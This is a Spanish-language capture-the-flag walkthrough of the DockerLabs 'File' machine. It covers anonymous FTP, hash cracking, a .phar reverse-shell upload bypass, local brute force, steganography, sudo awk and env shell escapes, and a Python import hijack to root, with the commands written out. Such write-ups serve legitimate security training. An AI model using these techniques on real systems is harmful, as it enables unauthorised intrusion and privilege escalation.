> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/file.md).
# File
## Introduccion
En este laboratorio de DockerLabs se compromete una maquina Linux que expone FTP anonimo, HTTP y varias malas configuraciones locales.
La cadena empieza con un FTP anonimo que contiene un hash MD5. Despues, la enumeracion web descubre una funcionalidad de subida de archivos que permite colar una reverse shell en formato `.phar` y conseguir acceso como `www-data`.
Desde ahi se encadenan varios saltos de usuario: fuerza bruta local para `fernando`, esteganografia en una imagen para obtener la password de `mario`, abuso de `sudo awk` para llegar a `julen`, abuso de `sudo env` para llegar a `iker` y, finalmente, Python import hijacking sobre `requests.py` para obtener una shell como `root`.
***
## Reconocimiento
Se realiza un escaneo de versiones con Nmap:
```bash
nmap -sVC -Pn -n -p- --min-rate 5000 172.17.0.2
```
El escaneo muestra dos puertos abiertos:
| Puerto | Servicio | Version |
| ------ | -------- | -------------------------- |
| 21/tcp | FTP | vsftpd 3.0.5 |
| 80/tcp | HTTP | Apache httpd 2.4.41 Ubuntu |
Nmap tambien detecta que el FTP permite login anonimo y lista un archivo interesante:
```
anon.txt
```
***
## FTP anonimo
Se accede al FTP como `anonymous` y se descarga `anon.txt`:
```bash
ftp 172.17.0.2
ls
get anon.txt
```
El archivo contiene el siguiente hash:
```
53dd9c6005f3cdfc5a69c5c07388016d
```
Con `hash-identifier` se identifica como un posible MD5:
Se crackea con John:
```bash
echo "53dd9c6005f3cdfc5a69c5c07388016d" > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt
```
La password obtenida es:
```
justin
```
Aunque esta password no da acceso directo a los usuarios locales, sirve como primera pista y confirma que la maquina va dejando credenciales en archivos expuestos.
***
## Enumeracion web
Al revisar el codigo fuente de la web aparece una pista:
```html
```
Se lanza Gobuster para descubrir rutas y extensiones:
```bash
gobuster dir -u 172.17.0.2:80 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-x html,zip,php,txt,bak,sh,asp,aspx \
-b 404 -t 60
```
Aparecen varios recursos interesantes:
| Ruta | Codigo | Comentario |
| ------------------ | ------ | ---------------------- |
| `/index.html` | 200 | Pagina principal |
| `/uploads/` | 301 | Directorio con listing |
| `/file_upload.php` | 200 | Formulario de subida |
| `/server-status` | 403 | Restringido |
El formulario de `file_upload.php` permite seleccionar y subir archivos:
***
## Subida de reverse shell
Se prepara una reverse shell PHP, configurando la IP de atacante y el puerto `4444`:
Para esquivar el filtro de extensiones, se renombra el archivo a `.phar`:
```bash
mv revshell.php revshell.php5
mv revshell.php5 rv.phar
```
Tras subir el archivo, el servidor confirma la subida:
El directorio `/uploads/` tiene directory listing y muestra el archivo `rv.phar`:
Se prepara un listener y se ejecuta el archivo desde el navegador:
```bash
nc -lvnp 4444
```
La shell llega como `www-data`.
***
## Acceso como fernando
En `/home` aparecen cuatro usuarios:
```bash
ls /home/
```
```
fernando
iker
julen
mario
```
Se prueba fuerza bruta local contra `fernando` con `Linux-Su-Force.sh` y `rockyou.txt`:
```bash
./Linux-Su-Force.sh fernando rockyou.txt
```
La password encontrada es:
```
fernando:chocolate
```
Se cambia al usuario `fernando`:
```bash
su fernando
```
***
## Esteganografia
En el home de `fernando` aparece una imagen llamada `dragon-medieval.jpeg`. Para analizarla comodamente desde Kali, se levanta un servidor HTTP temporal desde la maquina victima:
```bash
python3 -m http.server 8080
```
Y se descarga desde la maquina atacante:
```bash
wget http://172.17.0.2:8080/dragon-medieval.jpeg
```
Se crackea la passphrase de steghide con `stegcracker`:
```bash
stegcracker dragon-medieval.jpeg /usr/share/wordlists/rockyou.txt
```
La passphrase es:
```
secret
```
Se extrae el contenido oculto:
```bash
steghide extract -sf dragon-medieval.jpeg
```
El archivo extraido es `pass.txt`, que contiene un hash SHA1:
```
cbfdac6008f9cab4083784cbd1874f76618d2a97
```
Se crackea con John:
```bash
echo "cbfdac6008f9cab4083784cbd1874f76618d2a97" > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA1 hash.txt
```
La password obtenida es:
```
password123
```
Con esta password se consigue acceso como `mario`:
```bash
su mario
```
***
## Movimiento lateral
Como `mario`, se revisan los permisos de `sudo`:
```bash
sudo -l
```
El usuario puede ejecutar `awk` como `julen` sin password:
```
(julen) NOPASSWD: /usr/bin/awk
```
Se abusa de `awk` para ejecutar una shell:
```bash
sudo -u julen /usr/bin/awk 'BEGIN {system("/bin/sh")}'
```
Como `julen`, se vuelven a revisar permisos de `sudo`:
```bash
sudo -l
```
El usuario puede ejecutar `env` como `iker`:
```
(iker) NOPASSWD: /usr/bin/env
```
Se obtiene shell como `iker`:
```bash
sudo -u iker /usr/bin/env /bin/sh
```
***
## Escalada a root
En el home de `iker` aparece el script `geo_ip.py`:
```bash
ls -la
cat geo_ip.py
```
El usuario `iker` puede ejecutar ese script con Python como `root`:
```bash
sudo -l
```
El script importa la libreria `requests`:
Como el directorio actual permite crear archivos, se crea un `requests.py` malicioso para secuestrar el import:
```python
import os
os.system("/bin/bash")
```
Al ejecutar el script con `sudo`, Python importa nuestro `requests.py` en lugar de la libreria real y lanza una shell como `root`:
```bash
sudo /usr/bin/python3 /home/iker/geo_ip.py
```
Se confirma el usuario:
```bash
whoami
```
```
root
```
***
## Resumen
La ruta completa de la maquina queda asi:
1. Escaneo con Nmap para identificar FTP anonimo y HTTP.
2. Descarga de `anon.txt` por FTP.
3. Crackeo del hash MD5 hasta obtener `justin`.
4. Enumeracion web y descubrimiento de `/file_upload.php` y `/uploads/`.
5. Bypass del filtro de subida usando una reverse shell `.phar`.
6. Acceso inicial como `www-data`.
7. Fuerza bruta local hasta encontrar `fernando:chocolate`.
8. Analisis de `dragon-medieval.jpeg` y extraccion de `pass.txt` con steghide.
9. Crackeo del hash SHA1 hasta obtener `password123`.
10. Acceso como `mario`.
11. Movimiento lateral a `julen` abusando de `sudo awk`.
12. Movimiento lateral a `iker` abusando de `sudo env`.
13. Python import hijacking sobre `requests.py`.
14. Ejecucion de `geo_ip.py` con `sudo` para obtener shell como `root`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/file.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.